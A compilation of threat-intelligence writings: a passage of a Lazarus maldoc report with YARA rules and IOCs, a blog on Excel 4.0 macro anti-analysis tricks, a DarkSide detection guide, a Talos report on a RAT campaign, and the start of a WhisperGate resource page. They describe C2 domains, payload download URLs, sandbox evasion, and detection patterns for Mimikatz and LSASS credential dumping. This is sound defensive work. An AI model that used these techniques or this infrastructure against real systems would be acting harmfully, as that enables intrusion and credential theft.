- 2033135: ET TROJAN Observed Lazarus Maldoc CnC Domain (shopweblive.com in TLS SNI)
### TDR / MTDR CORRELATION RULES
- Malicious activity detected after Certutil.exe file decoding
- Windows renamed binary
- Suspicious Process Created by Microsoft Office Application
- Windows MavInject DLL Injection
### YARA RULES
```yara
rule LazarusCampaign_MacroDoc_Jun2021 : WindowsMalware {
meta:
author = "AlienLabs"
description = "Detects Lazarus campaign macro document Jun2021."
SHA256 = "294acafed42c6a4f546486636b4859c074e53d74be049df99932804be048f42c"
strings:
$a1 = "ZSBydW4gaW4gRE9TIG1vZGUuDQ0KJA" ascii
$a2 = "c:\\Drivers"
$a3 = "AAAAAAAAAA=" ascii
$a4 = "CreateObject(\"Scripting.FileSystemObject\").CreateTextFile"
$a5 = "cmd /c copy"
$a6 = {73 79 73 74 65 6d 33 32 5c 2a 65 72 74 75 74 2a 2e 65 78 65}
$a7 = {25 73 79 73 74 65 6d 72 6f 6f 74 25 5c 65 78 70 2a 2e 65 78 65}
$a8 = "sleep 1000"
$a9 = "cmd /c explorer.exe /root"
$a10 = "-decode "
$b = "tAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v" ascii
condition:
uint16(0) == 0xCFD0 and
filesize < 2000KB and
$b and
5 of ($a*)
}
```
```yara
rule LazarusCampaign_Payload_Jun2021 : WindowsMalware {
meta:
author = "AlienLabs"
description = "Detects Lazarus campaign downloader Jun2021."
SHA256 = "f5563f0e63d9deed90b683a15ebd2a1fda6b72987742afb40a1202ddb9e867d0"
strings:
$a1 = "Office ClickToRun" wide ascii
$a2 = "C:\\Drivers\\"
condition:
uint16(0) == 0x5A4D and all of them
}
```
## Associated Indicators (IOCs)
The following technical indicators are associated with the reported intelligence. A list of indicators is also available in the OTX Pulse.
| TYPE | INDICATOR | DESCRIPTION |
|--------|---------------------------------------------------------------------------------------------|---------------------------------|
| SHA256 | e6dff9a5f74fff3a95e2dcb48b81b05af5cf5be73823d56c10eee80c8f17c845 | Malicious Rheinmetall Document 1 |
| SHA256 | ffec6e6d4e314f64f5d31c62024252abde7f77acdd63991cb16923ff17828885 | Malicious Rheinmetall Document 2 |
| SHA256 | 8e1746829851d28c555c143ce62283bc011bbd2acfa60909566339118c9c5c97 | Malicious GM Document |
| SHA256 | 294acafed42c6a4f546486636b4859c074e53d74be049df99932804be048f42c | Malicious Airbus Document |
| SHA256 | 65f7211c3d7fde25154b4226a7bef0712579e0093020510f6a4bb4912a674695 | Malicious Rheinmetall Document 3 |
| SHA256 | ebd6663d1df8228684a0b2146b68ce10169fc41c5e91c443fdf6f844f5ffeb62 | Malicious Rheinmetall Document 4 |
| SHA256 | 97515b70184f4553e5ae6b51d06a148b30d0a6632c077b98ad320e3c27cfd96f | Malicious Rheinmetall Document 5 |
| DOMAIN | shopweblive[.]com | Airbus CnC domain |
| URL | shopweblive[.]com/image_slider.png | CnC beacon |
| URL | shopweblive[.]com/airbus_job_vacancies.doc | CnC beacon |
| URL | shopweblive[.]com/airbus_job_vacancie.doc | CnC beacon |
| URL | shopweblive[.]com/airbus_job_vacancy.doc | CnC beacon |
| DOMAIN | allgraphicart[.]com | GM CnC domain |
| URL | allgraphicart[.]com/general_motors_car.doc | CnC beacon |
| URL | allgraphicart[.]com/general_motors_car.docx | CnC beacon |
| URL | allgraphicart[.]com/general_motors_car.rtf | CnC beacon |
| URL | allgraphicart[.]com/logo.png | CnC beacon |
| SHA256 | f5563f0e63d9deed90b683a15ebd2a1fda6b72987742afb40a1202ddb9e867d0 | Payload |
| SHA256 | 3b33b0739107411b978c3cbafb312a44b7488bd7adabae3e7b02059240b6dc83 | Payload |
| SHA256 | f53d4b3eb76851e88c6f30f1ecc67796bbd6678b8e2e9bc0a8f2582c42a467c6 | Payload |
| SHA256 | 9362425ae690b5bf74782eafe959195f25ac8bad370794efd4a08048141efb32 | Payload |
| SHA256 | 5c206b4dc2d3a25205176da9a1129c9f814c030a7bac245e3aaf7dd5d3ca4fbe | Payload |
| SHA256 | 1690ce43530acf725f33aa30f715855d226d63276557d0e33fbcaf9b5ff9b84c | Payload |
| URL | wicall[.]ir/logo.png | CnC beacon |
## Mapped to MITRE ATT&CK
The findings of this report are mapped to the following MITRE ATT&CK Matrix techniques:
- TA0001: Initial Access
- T1566: Phishing
- T1566.001: Spearphishing Attachment
- TA0002: Execution
- T1204: User Execution
- T1204.002: Malicious File
- T1059: Command and Scripting Interpreter
- TA0005: Defense Evasion
- T1140: Deobfuscate/Decode Files or Information
- T1036: Masquerading
- T1036.003: Rename System Utilities
- TA0011: Command and Control
- T1132: Data Encoding
**Tags:** malware research, yara, alien labs, otx, otx pulse, open threat exchange, lazarus, analysis, malicious documents |
# Anti-Analysis Techniques Used in Excel 4.0 Macros
Jacob Pimental
March 24, 2021
I recently reversed another Excel document with 4.0 Macros that was similar to my previous post on the subject but had some added anti-analysis features that I wanted to share. I recommend reading the previous post to learn more as this article will not be going step-by-step through the analysis process.
## New Obfuscation Style
Instead of storing the encrypted data as a blob of characters in cells, the sample stores them as integers in Sheet1 of the document. It will then loop through these and subtract them from a stored key in R50C3:R59:C3. If the integer value at the current index of Sheet1 is greater than 1000, then the end of the string has been reached. This is very similar to the old sample, but the use of integer values seemed interesting to me.
## Decryption function
### Integer arrays in Sheet1
Like the previous analysis, the document performs a lot of the same VM/Analysis checks such as checking for the presence of a cursor, if macros are set to run by default, etc. This specific sample, however, had a few more tricks.
### Xlcall32
The sample will use the =CALL macro to make a call to the Excel4 function from the Xlcall32 library. This is a callback function that is used to continue running the macros at a defined cell. This is a good way to prevent an analyst from just debugging the macros since this would spawn in a new process and won’t show in the debugger. This will continue running the macros at R106C1 and evade debugging.
In this sample, the call to Excel4 is dynamically generated via the deobfuscation code from earlier. When running the deobfuscation code, I will put a =HALT() instruction at the end to prevent further execution. Once the anti-analysis technique is bypassed, I will continue running the macros at the location passed as a parameter to Excel4. This gives the same results as calling the Excel4 function except now I can see what the code is doing.
## Alternate Data Streams (ADS)
Alternate Data Streams (ADS) are a feature of the NT File System (NTFS) that allows a user to store additional content in a file apart from its original content. ADS is used legitimately for file integrity and storing metadata; however, attackers can use it to hide malicious code. In older versions of SQL Server, for example, the DBCC CHECKDB process would create alternate data streams to store information.
When a file is downloaded from the internet, it will contain an ADS called Zone.Identifier which has data about where the file originated. In this case, the sample I downloaded was from Zoho Docs, therefore, it contained that URL in the stream. This particular sample checks to see if the ADS is present by actually trying to delete the ADS itself. If this sample were run in a sandbox, there would be no ADS, thus triggering this anti-analysis technique and halting the execution of the macros.
### Checking for Zone.Identifier alternate data stream by trying to delete it
## C2s
As with the previous analysis, once all the checks are complete, the sample will reach out to C2s to try to grab the second stage payload and execute it. In this case, it appears to be a DLL that will be executed through rundll32.exe calling DllRegisterServer. Both of the C2s were down when I found the sample, so I could not get the second stage to continue the analysis.
## Conclusion
Hopefully, this provided insight into a few anti-analysis techniques seen in the wild and can be a good reference to other analysts in the future. The call to Xlcall32 was new to me, and I had not seen the alternate data stream check used before. If you have any questions or comments on this analysis feel free to reach out to me on my Twitter or LinkedIn.
Thanks for reading and happy reversing!
**Tags:** Malware Analysis, Excel 4.0 Macros, Maldoc, XLS Document |
# DarkSide Ransomware Operations – Preventions and Detections
I decided to release this blog post as a longer form, more in-depth version of a Twitter thread I released on the 12th of May. The aim of this blog post is to provide you with actionable preventions and detections against known TTPs which have been seen during DarkSide ransomware operations from the group and their affiliates. It is important to note that many of these preventions and detections will work not only for this group but for preventing and detecting attacks from many threat actors due to their generic nature. This thread was in response to the fantastic blog post by FireEye – “Shining a Light on DARKSIDE Ransomware Operations” released on the 10th of May.
## INITIAL COMPROMISE
### Password attacks on perimeter
The first initial compromise method mentioned was password spray attacks against VPNs. This is extremely common, but luckily for us, relatively easy to protect against compared to other attack vectors. Password spray attacks and brute forces will happen not just against VPNs but any public-facing authentication methods, such as Azure Active Directory.
I know everyone says this, but they say it for a reason – Multi-factor authentication should be used for all accounts in your network. Also, ensure users are using unique passwords for each service/platform they have access to. This will make the likelihood of a password attack breaching your perimeter a lot lower. You also want to ensure you have lockout thresholds for failed logins to any accounts. If an attacker is attempting various password attacks, this may at least slow them down whilst you react to alerts.
In terms of detections, there are a number of things we want to look for. Do your best to ensure all perimeter-facing devices are onboarded to your SIEM so you can monitor authentication events.
- **Password Spraying** – Create an alert looking for one Source IP failing to login to 5+ Accounts within 20 minutes. (This is just an example; you will need to modify the thresholds depending on the log type and your environment.)
- **Impossible Travel** – Most SIEMs have a function to detect the geographic location of IP addresses. Monitor if a user account logs in successfully from 2 different countries within an hour. (You may need to allowlist any VPN providers which are commonly used by your user base.)
- **Attempted user login from multiple Sources** – A sign of potentially leaked user credentials or password cracking is when there are numerous successful or failed logins to one user account from multiple IPs in a day. Create an alert looking for 5 IPs successfully or failing to login to the same user account in a 24-hour period (As previous, you may need to adjust thresholds depending on your environment and risk appetite.)
- **Other** – It is also worth looking at creating rules for large numbers of failed logins to one account, large numbers of failed logins from one source, and large numbers of failed logins to one destination. The thresholds and exceptions you will use for these will depend greatly on what you are monitoring and your environment. Run some queries, find what is normal, and alert above that.
Finally, it is mentioned in the report that attackers may have used a vulnerability in SonicWall to disable MFA on the VPN. I always recommend that you audit change events on any networking equipment in your environment. You likely have VPNs, Firewalls, and a plethora of other networking equipment logging network traffic and authentications – keep sure you are also auditing and logging change activities on these too. Look for events such as deletions, creations, and modifications of objects, policies, and accounts on these devices. Alert on them and ensure that any changes are legitimate and expected.
### Malicious Emails
It is mentioned that another initial access vector was, unsurprisingly, malicious emails. I’m not going to cover email security and all its facets here. Rather, this tweet from @TinkerSec at the time sums up the basics pretty well. Look into each of these aspects separately and see if you have them, or a direct alternative, in place.
- Use email security proxies to conduct scans of attachments ahead of time.
- Use endpoint protection.
- Use outbound domain inspection.
- Have a way for users to report phishes.
- Don't punish users if they self-report.
## ESTABLISH FOOTHOLD
### BEACON
This is mentioned in this phase and also for lateral movement, but I will just include it here. Beacon/Cobaltstrike is now known for being used in a large number of intrusions to perform numerous functions. To hunt for it, detect it, or look for IOCs, this is your go-to link. Awesome-CobaltStrike-Defense contains the following topics and is regularly updated:
- Hunting and Detection Tools
- Yara Rules
- Sigma Rules
- IOCs
- Research articles
- Trainings
- Videos
## MAINTAIN PERSISTENCE
### Teamviewer / Anydesk and other remote access applications
The report shows us that the threat actor downloaded and used Teamviewer. They also browsed to locations indicating downloads of Anydesk. I would recommend that, if possible, your business mandates one remote access application which is allowed to be used. Then, anything outside this is immediately suspicious.
In terms of alerting, we should approach this from two avenues. Firstly, I recommend you look for outbound connections on the following ports which are used by common remote access applications:
- RDP – 3389
- Anydesk – 6568
- Dameware – 6129, 6130, 6132, 6133
- Teamviewer – 5938
- VNC – 5800/5900
If your business does mandate the use of one, or no, remote access applications, block the download links for these and then alert if there is a blocked connection to these download URLs.
### Legitimate Credentials
This is difficult to deal with and is a huge challenge that we face, as threat actors purchase working user credentials and log directly into systems. There are some steps that we can take, however.
- Firstly, sign up for domain monitoring on haveibeenpwned. If an employee's credentials are breached, ensure that they reset their password to a new, completely different one.
- Inform users to create unique, lengthy passwords for all services. Therefore, if an attacker does buy a credential, it will only work on one of the applications/services, etc.
- I mentioned it already, but MFA on everything. Then, if a password is breached, you have another layer of defense.
In terms of detections, we really need to look at anomalous behavior patterns, such as:
- Users accessing, or attempting to access, a host they have never accessed before.
- User logging or attempting to log in outside of their normal working hours.
- Impossible Travel scenarios can be a good way of catching legitimate credentials being used.
- For your critical servers/hosts (Domain Controllers, Network Devices, Exchange Servers, Databases, etc. – whatever you consider critical), you should know who (Domain Admins, Network Admins, etc.) is allowed to access these. Create an alert if any users outside this access, or attempt to access, your critical servers and hosts.
## ESCALATE PRIVILEGES
### Mimikatz
Mimikatz is another tool commonly used during many attacks, especially for privilege escalation. Due to its common usage, it is worth taking your time to mitigate as many potential attacks as possible. The following articles detail numerous mitigations which can be taken against Mimikatz:
- SANS – Mitigations against Mimikatz style attacks.
- Tempest Security – Mitigating credential theft attacks.
Once you have mitigated potential issues, it is then worth implementing the below detections. Mimikatz does so much it is hard to list a detection for everything that it can do, so here are the more common ones:
- There are 3 good Sysmon detections in this Medium post.
- Sigma rule to detect well-known Mimikatz command line arguments.
- Sigma rule to detect Mimikatz keywords in different Windows Eventlogs.
- Mimikatz DC Sync. (When Mimikatz is used to perform DCSync) EventID 4662, Properties contain *Replicating Directory Changes All* and/or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*.
- Mimikatz Detection LSASS Access (Mimikatz normal behavior) Sysmon Event 10, Target Image C:\windows\system32\lsass.exe, Granted Access “0x1410”.
- Credential Dumping Service Execution. (Looking for services known to be used to dump credentials) Event ID 7045 or 4697 and ServiceName contains “Mimikatz or mimidrv or gsecdump or cachedump or pwdump or wce service or wceservice or fgexec.”
- OverPass The Hash. (Detection of successful overpass the hash attack) Event ID = 4624, Logon Type = 9, Logon Process Name = seclogo, Authentication Package = Negotiate.
### LSASS Memory Dump
Commonly at this phase of an attack, attackers will look to dump the memory from LSASS and other attacks against the service. I highly recommend reading this threat detection report by RedCanary. It explains well what LSASS is, why it is attacked so frequently, and several detections for these attacks. I also recommend reviewing the MITRE sub technique – OS Credential Dumping: LSASS Memory. This provides further extra information and resources around what LSASS is, potential mitigations, and detections.
Some detections which are related to LSASS below:
- LSASS Access from Non-System Account. EventID 4663 or 4665. Object Type = Process, Object Name ends with lsass.exe. SubjectUsername does not end with $.
- Password Dumper activity on LSASS. EventID 4656. Process Name = C:\Windows\System32\lsass.exe. AccessMask = 0x705. ObjectType = SAM_DOMAIN.
- LSASS Memory Dumping. Windows Process Creation. CommandLine contains lsass and .dmp. CommandLine does not end with .werfault.exe OR CommandLine does not end with .exe and contain procdump.
## MOVE LATERALLY
### RDP
RDP has been used extensively by many threat actors for lateral movement among other purposes; therefore, it is important we monitor it the best we can. But before we get to the detection stage, as always, let's first try to mitigate. MITRE has some fantastic mitigations listed here which I highly recommend following to deter and make an attacker's life more difficult.
Now onto the detections. RDP is such a frequently used protocol during attacks, so I am going to list a bunch of my favorites below which I recommend looking into:
- **User RDP Spike**. Alert on a user making numerous RDP connections in a short period.
- **Abnormal RDP Access**. Alert on devices being accessed via RDP which are not normally accessed using the protocol.
- **Source with many Destinations**. Alert on a Source IP with a large number of Destination IPs in a 24-hour period using RDP.
- **Possible RDP Tunneling**. Look for EventID 4624, Logon Type 10, Source Address = 127.0.0.1 or ::1.
- **Netsh RDP Port Forwarding**. Look for EventID 4688 where CommandLine = netsh i* p*=3389 c*.
- **Potential tsclient being used to place RDP Backdoor**. Sysmon Event 11, Image: ‘\mstsc.exe’, TargetFileName: ‘\Microsoft\Windows\Start Menu\Programs\Startup\*’.
- **Suspicious Outbound RDP Connections**. Sysmon Event 3, Destination Port 3389. Image is not any of mstsc.exe, RTSApp.exe, RTS2App.exe, RDCMan.exe, ws_TunnelService.exe, RSSensor.exe, RemoteDesktopManagerFree.exe, RemoteDesktopManager.exe, RemoteDesktopManager64.exe, mRemoteNG.exe, mRemote.exe, Terminals.exe, spiceworks-finder.exe, FSDiscovery.exe, FSAssessment.exe, MobaRTE.exe, chrome.exe, thor.exe, thor64.exe.
## INTERNAL RECONNAISSANCE
### Powerview / Bloodhound
Threat actors commonly use tools such as Powerview and Bloodhound to perform internal recon against Windows targets. My main recommendation here? Run them yourself first. Find and fix the weaknesses before they do. I discussed Active Directory Security Hardening, Auditing, and Detection Rules in a post a while ago. I recommend giving it a read and following the steps outlined within.
There are some SIEM rules which we can look to implement to pick up the activity from these tools:
- **Powerview Add-DomainObjectAcl DCSync AD Extend Right**. (Detects PowerView being used to grant DCSync permissions to a user. Only false positive is if a new DC Account is being created) EventID 5136. LDAPDisplayName = ntSecurityDescriptor. Value contains either 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 OR 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 OR 89e95b76-444d-4c62-991a-0facbeda640c.
- **Use of Bloodhound and Sharphound**. There is a nice Sigma rule here.
### Built-in Windows Utilities
Frequently we see threat actors using built-in Windows utilities to aid their reconnaissance and attacks in general. Outside of this incident, we can also see this when we look at reports from the likes of TheDFIRReport. Almost every post, there is evidence of an attacker using these built-in utilities. Therefore, we have to try and detect this. Between the DFIRReport link above and JPCert – Windows Commands used by Attackers, we can quickly build a list of frequently used commands.
It is worth taking these commands and creating a rule looking for a user running 5+ of them in 5 minutes. (You may need to change your thresholds). You will need to allowlist Domain Admins, Network Admins, and potentially other staff members depending on role. On top of this, there are a number of other good built-in recon rules which can be found in this Sigma repository and search for recon.
### Advanced IP Scanner
During most reconnaissance, attackers will run various network scans to fingerprint the target environment and find vulnerable devices, open ports, etc. Before we get into the detections, the best mitigation here is to ensure only required ports are open on devices. This will limit what an attacker can find out about your devices, or at least make the job more difficult in the worst case.
It is therefore important that we monitor for suspicious network activity. I wrote this blog post a while back; it needs updating but contains some basic logic around network monitoring. If you have DNS logs, also take a look at this post.
On top of the two above articles, you should also be looking for things such as:
- **Telnet / SSH** – Source IP with many destinations in a day (Strange – this is a management port – investigate why).
- **Abnormal spike in traffic from a host**. Either based on Event Count and/or Data Volume. This can be abnormal either to your environment, subnet, or the host itself compared to its previous traffic.
- **Basic Port Scans within your network**. Look at internal traffic only. Then alert on if 1 Source IP connects to either 100 destinations on the same port within 5 minutes or 1 destination over 100 ports in 5 minutes. (These thresholds may need modification, and you may need to allowlist certain devices such as vulnerability scanners).
## COMPLETE MISSION
### PSExec
PSExec has been seen during DarkSide ransomware attacks to deploy the ransomware itself. In terms of what PSExec is, why threat actors use it, and how we can detect it; the following two posts are fantastic:
- **Praetorian** – Threat Hunting: How to Detect PsExec. This contains details on what it is, how to detect, variants of PSExec, and further considerations.
- **RedCanary** – Threat Hunting for PsExec, Open-Source Clones, and Other Lateral Movement Tools. This contains similar detail on PSExec but goes on to focus on the many clones of PSExec, what they are, and how we can detect them also.
## FINAL THOUGHTS
Before we finish, I have some final thoughts which I thought were best to mention at the end rather than throughout the rest of the post.
- **Patch** – I know this can be easier said than done at times, but it can be the difference between being breached and not. Most attacks, if the breach itself wasn’t due to a vulnerability, the attackers were able as part of their attack chain to exploit some vulnerability to speed up their attack or bypass defenses. Do your best to limit their opportunities to do this.
- **Test your preventions and detections** – Once you have mitigations and detections in place, test them. Are things really being blocked? Do alerts really trigger in your SIEM? Testing your hard work is a vital step in the process which should never be skipped.
- **Response** – If a serious incident does occur – do you have an IR team? Do you have one on retainer? Have you played out scenarios and gone through the how, who, and why you will respond to a real event? There are some fantastic Incident Response resources here.
Thanks for taking your time to read this blog post, and I hope you found it useful. I always love feedback, so contact me on Twitter if you want to discuss this article or anything related. |
# Nanocore, Netwire and AsyncRAT Spreading Campaign
By Chetan Raghuprasad and Vanja Svajcer.
Cisco Talos discovered a malicious campaign in October 2021 delivering variants of Nanocore, Netwire, and AsyncRATs targeting user information. According to Cisco Secure product telemetry, the victims of this campaign are primarily distributed across the United States, Italy, and Singapore. The actor used complex obfuscation techniques in the downloader script. Each stage of the deobfuscation process results in the decryption methods for the subsequent stages to finally arrive at the actual malicious downloader method. The campaign is the latest example of threat actors abusing cloud services like Microsoft Azure and Amazon Web Services to achieve their malicious objectives. The actor is using the DuckDNS dynamic DNS service to change domain names of the C2 hosts.
## Executive Summary
Threat actors are increasingly using cloud technologies to achieve their objectives without having to resort to hosting their own infrastructure. These types of cloud services like Azure and AWS allow attackers to set up their infrastructure and connect to the internet with minimal time or monetary commitments. It also makes it more difficult for defenders to track down the attackers' operations. The threat actor in this case used cloud services to deploy and deliver variants of commodity RATs with information stealing capability starting around Oct. 26, 2021. These variants of Remote Administration Tools (RATs) are packed with multiple features to take control over the victim's environment to execute arbitrary commands remotely and steal the victim's information.
The initial infection vector is a phishing email with a malicious ZIP attachment. These ZIP archive files contain an ISO image with a malicious loader in the form of JavaScript, a Windows batch file, or Visual Basic script. When the initial script is executed on the victim's machine, it connects to a download server to download the next stage, which can be hosted on an Azure Cloud-based Windows server or an AWS EC2 instance. To deliver the malware payload, the actor registered several malicious subdomains using DuckDNS, a free dynamic DNS service. The malware families associated with this campaign are variants of the Netwire, Nanocore, and AsyncRAT remote access trojans. Organizations should be inspecting outgoing connections to cloud computing services for malicious traffic. The campaigns described in this post demonstrate increasing usage of popular cloud platforms for hosting malicious infrastructure.
## The Payload
The observed campaigns are using variants of Nanocore, Netwire, and AsyncRAT as payloads. These are commodity RATs that were widely used in other campaigns.
### NanocoreRAT
Nanocore is a 32-bit .NET portable executable first seen in the wild in 2013. After 2017, there are leaked versions of Nanocore that are widely used by the threat actors in their campaigns. Extracting the configuration information from the Nanocore client samples associated with this campaign showed they are using version 1.2.2.0, which is a leaked version with an Oct. 26, 2021 build date. The C2 server used is mback5338[.]duckdns[.]org, listening on TCP port 7632. The build date correlates with the possible start of the campaign.
We have also observed other C2 domains and different port numbers used by different samples of Nanocore client associated with these campaigns:
- nanoboss[.]duckdns[.]org
- justinalwhitedd554[.]duckdns[.]org
The plugins included with the payload are the Client and SurveillanceEx plugins. The client plugin is used by the RAT to handle communications with the C2 server, and the SurveillanceEX plugin provides video and audio capture and remote desktop capability.
### NetwireRAT
NetwireRAT is a known threat used by the threat actors to steal victims' passwords, login credentials, and credit card data. It has the capability to remotely execute commands and collect filesystem information. This trojan establishes persistence by writing the registry keys:
- HKEY_CURRENT_USER\Software\NETwIRe\HostId
- HKEY_CURRENT_USER\Software\NETwIRe\Install Date
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysWOW32 with its value as the path to the trojan.
### AsyncRAT
AsyncRAT is a remote access tool meant to remotely monitor and control computers through a secure encrypted connection. Threat actors in this campaign use the AsyncRAT client by setting its configuration to connect to the C2 server and provide the attacker with remote access to the victim's machine. Using some of its features such as keylogger, screen recorder, and system configuration manager, the attacker can steal confidential data from the victim's machine. AsyncRAT creates the mutex "AsyncMutex_6SI8OkPnk" as the infection marker in the victim's machine.
The AsyncRAT config file is decrypted and contains the configuration information such as C2 domain. In this instance, the C2 domain is asyncmoney[.]duckdns[.]org using TCP port 7829. We have observed that this variant of AsyncRAT communicates with the C2 domain via TCP ports 7840, 7841, and 7842.
## Infection Chain
The infection chain starts with an email that contains malicious ZIP documents. The ZIP file attachment is an ISO image file containing the loader in JavaScript, Visual Basic script, or a Windows batch file format. The actor has attempted to entice recipients by purporting that the attachment is a fake invoice document. The initial few characters of the ZIP file names are randomly generated and could be specific to the campaign. Some of the observed ZIP file names are:
- WROOT_Invoice_Copy.zip
- YUEOP_Invoice_Copy.zip
- HOO8M_Invoice_Copy.zip
- TROOS_Invoice_Copy.zip
- TBROO1_Invoice_Copy.zip
### JavaScript Downloader
The downloader JavaScript is an obfuscated script that has four layers of obfuscation. The deobfuscation process is performed at each stage with every next stage generated as the result of the previous stage deobfuscation function.
**Layer 1 deobfuscation**
The first level of decryption is performed by the function 'ejv()', which iterates over each character of the obfuscated data into an array and performs a number of arithmetic operations to decrypt the character and returns the deobfuscated result.
**Layer 2 deobfuscation**
The remaining part of the encrypted contents of the JavaScript downloader are decrypted in two sub-phases in Layer 2 deobfuscation process. First, it is decrypted by the decryption function 'ejv()' and then the result is passed to the second-level decryption function.
**Layer 3 deobfuscation**
The encrypted strings of the Layer 2 deobfuscation process are decrypted by the function 'Ox$()'. The decrypted result of the Layer 3 deobfuscation process is another obfuscated function which has multiple function calls returning values and a series of eval() functions calling the third-level decryption function 'Ox$()' to decrypt the malicious downloader code.
**Layer 4 deobfuscation**
The final stage of the deobfuscation of malicious downloader code is performed in Layer 4, with the help of a third-level decryption function and some of its self-decryption logic within the code. We observed that the Layer 4 decrypted code is not just a downloader — it also performs other activities such as:
- Configures the Logon Auto Start registry key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" to establish persistence.
- Configures scheduled task jobs by invoking the schtasks.exe process.
- Downloads the payload from the download server with the URL http://gg1592661[.]duckdns[.]org:7924/vre. The payloads downloaded by the observed campaigns are the variants of Netwire, Nanocore, and AsyncRAT remote access trojans, saved and executed from the user's temporary folder of the victim's machine.
- The script attempts to interact with the Alternate Data Stream to hide the information about its source as downloaded from the internet.
- Collects information from the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId to fingerprint the victim's machine.
Aside from the JavaScript loader trojan, we have observed a Batch file downloader trojan and a VBScript downloader trojan in our Cisco Secure Endpoint telemetry.
### Batch File Downloader
The batch script contains an obfuscated command that runs PowerShell to download and run a payload from a download server, in this instance, 13[.]78[.]209[.]105 on Azure Cloud.
### VBScript Downloader
Obfuscated VB downloaders execute a PowerShell command which runs and connects to the download server, for example, to 52[.]27[.]15[.]250, running on AWS EC2.
### PowerShell Dropper
Our investigation of download servers in Azure uncovered a PowerShell dropper script which appears to be built with HCrypt builder. The script drops and runs a variant of AsyncRAT trojan in the victim machine. The deobfuscated binary is constructed using the String replace function to replace all occurrences of a delimiter character with the digit 0. This string containing the payload, together with a string containing an injector .NET assembly DLL module, is passed to the function H2, which converts it into a binary byte array. From there on, the generated byte array is loaded as an assembly module and used to inject the payload.
The script attempts to launch a process aspnet_compiler.exe on the victim machine, inject the AsyncRAT payload, and invoke a thread to run the payload. In this instance, the C2 server for the payload is yuri101[.]duckdns[.]org, hosted on the IP address 64[.]188[.]16[.]134.
## Actor's Infrastructure
The actor in this campaign maintains a distributed infrastructure consisting of download servers, command and control servers, and malicious subdomains. The downloading servers are hosted on Microsoft Azure and AWS cloud services. We have discovered Windows instances on Azure Cloud at the following IP addresses:
- 13[.]78[.]209[.]105 in the WestCentralUS cloud region with FQDN name "GOOGLE".
- 23[.]102[.]1[.]5 in the NorthEurope cloud region and enabled with SMB authentication.
- 40[.]85[.]140[.]7 in the NorthEurope cloud region.
- 52[.]150[.]26[.]35 in the EastUS cloud region with FQDN "spinxamp".
- 13[.]82[.]65[.]56 in the East US cloud region.
- 137[.]135[.]65[.]29 in the East US region with FQDN "sj-2nd" and enabled with SMB authentication.
Another server we discovered is hosted on AWS cloud at the IP address 52[.]27[.]15[.]250 and the FQDN is ec2-52-27-15-250.us-west-2.compute.amazonaws.com. We are not sure about the operating system of this instance. Some of the download servers are running the Apache web server application. The HTTP servers are configured to allow the listing of open directories that contain variants of NanocoreRATs, Netwire RAT, and AsyncRATs malware.
Each RAT instance connects to a C2 server according to its configuration. The C2 servers are Windows-based servers mostly compromised by the actor at the IP addresses 103[.]151[.]123[.]194, 185[.]249[.]196[.]175, and 64[.]188[.]16[.]134. For the RATs' C2 domains, the actor is using the dynamic DNS service subdomains asyncmoney[.]duckdns[.]org, nwire733[.]duckdns[.]org, mback5338[.]duckdns[.]org, and yuri101[.]duckdns[.]org.
## Malicious Domains
DuckDNS is a free dynamic DNS service providing a public DNS server service allowing the user to create subdomains and maintain the records using the DuckDNS scripts. The actor has created malicious DuckDNS subdomains to deliver malware in this campaign. Some of the actor-controlled malicious subdomains resolve to the download server on Azure Cloud while others resolve to the servers operated as C2 for the remote access trojan payloads:
- gg1592661[.]duckdns[.]org
- btime1624[.]duckdns[.]org
- justinalwhitedd554[.]duckdns[.]org
- wz303811[.]duckdns[.]org
- js1994[.]duckdns[.]org
- backu4734[.]duckdns[.]org
- www[.]backu4734[.]duckdns[.]org
- mback5338[.]duckdns[.]org
- nwire733[.]duckdns[.]org
- asyncmoney[.]duckdns[.]org
- nanoboss[.]duckdns[.]org
- asyncspread[.]duckdns[.]org
- tdeasy[.]duckdns[.]org
- dingspread[.]duckdns[.]org
- asyncpcc[.]duckdns[.]org
- jw9428875[.]duckdns[.]org
- meunknown[.]duckdns[.]org
- yuri101[.]duckdns[.]org
Cisco Umbrella classified these domains as malicious on Oct. 26. The volume of DNS requests observed in Cisco Umbrella for most of the subdomains associated with this campaign shares the same pattern, which demonstrates that the campaigns started in October 2021.
## Victimology
According to the DNS request distribution to the malicious subdomains of this campaign, we are observing requests primarily from the United States, Canada, Italy, and Singapore. We are also seeing a few requests from Spain and South Korea.
## Conclusion
In this post, we have described campaigns demonstrating that threat actors are actively using cloud services in their malicious campaigns. The initial infection vector is primarily a phishing email with a malicious ZIP file attachment. Despite being one of the oldest infection vectors, email is still an important infection path that needs to be protected. The ZIP file contains an ISO image file containing a malicious obfuscated downloader. The payloads of these campaigns are instances of Nanocore, Netwire, and AsyncRAT remote access trojans. The RAT payloads are using DuckDNS.org dynamic DNS servers so they can regularly change the IP addresses of C2 servers and quickly add new subdomains. We also discovered an obfuscated PowerShell dropper script built by HCrypt builder associated with the download servers of this campaign. Organizations should deploy comprehensive multi-layered security controls to detect similar threats and safeguard their assets. Defenders should monitor traffic to their organization and implement robust rules around the script execution policies on their endpoints. It is even more important for organizations to improve email security to detect and mitigate malicious email messages and break the infection chain as early as possible. |
# Resources for DFIR Professionals Responding to WhisperGate Malware
**January 17, 2022**
## Overview
On Saturday, January 15th, Microsoft released a blog titled “Destructive malware targeting Ukrainian organizations.” Microsoft’s blog outlines an ongoing attack against organizations in Ukraine by a currently unknown threat actor and provides a detailed analysis of the malware samples involved. We have provided additional resources below that may be of use to those responding to or investigating the attacks.
We have shared copies of the malware samples, decompiled code, and YARA rules on our GitHub.
## Malware Analysis References
In summary, the malware deployed in this campaign blocks access to computing systems by corrupting the Master Boot Record (MBR) section of the hard drive. The MBR is overwritten with a ransom note, such as those commonly seen in ransomware attacks, preventing the machine from booting and resulting in the corruption of files stored on the filesystem. However, as Microsoft notes, there is no recovery mechanism for the corrupted MBR, suggesting the ransom note is fake. This means the malware is likely masquerading as ransomware to hide its true capabilities or foil attribution attempts.
## Indicators of Compromise
We have provided links to download the samples and the decompiled source code.
- **Indicator**
**stage1.exe**
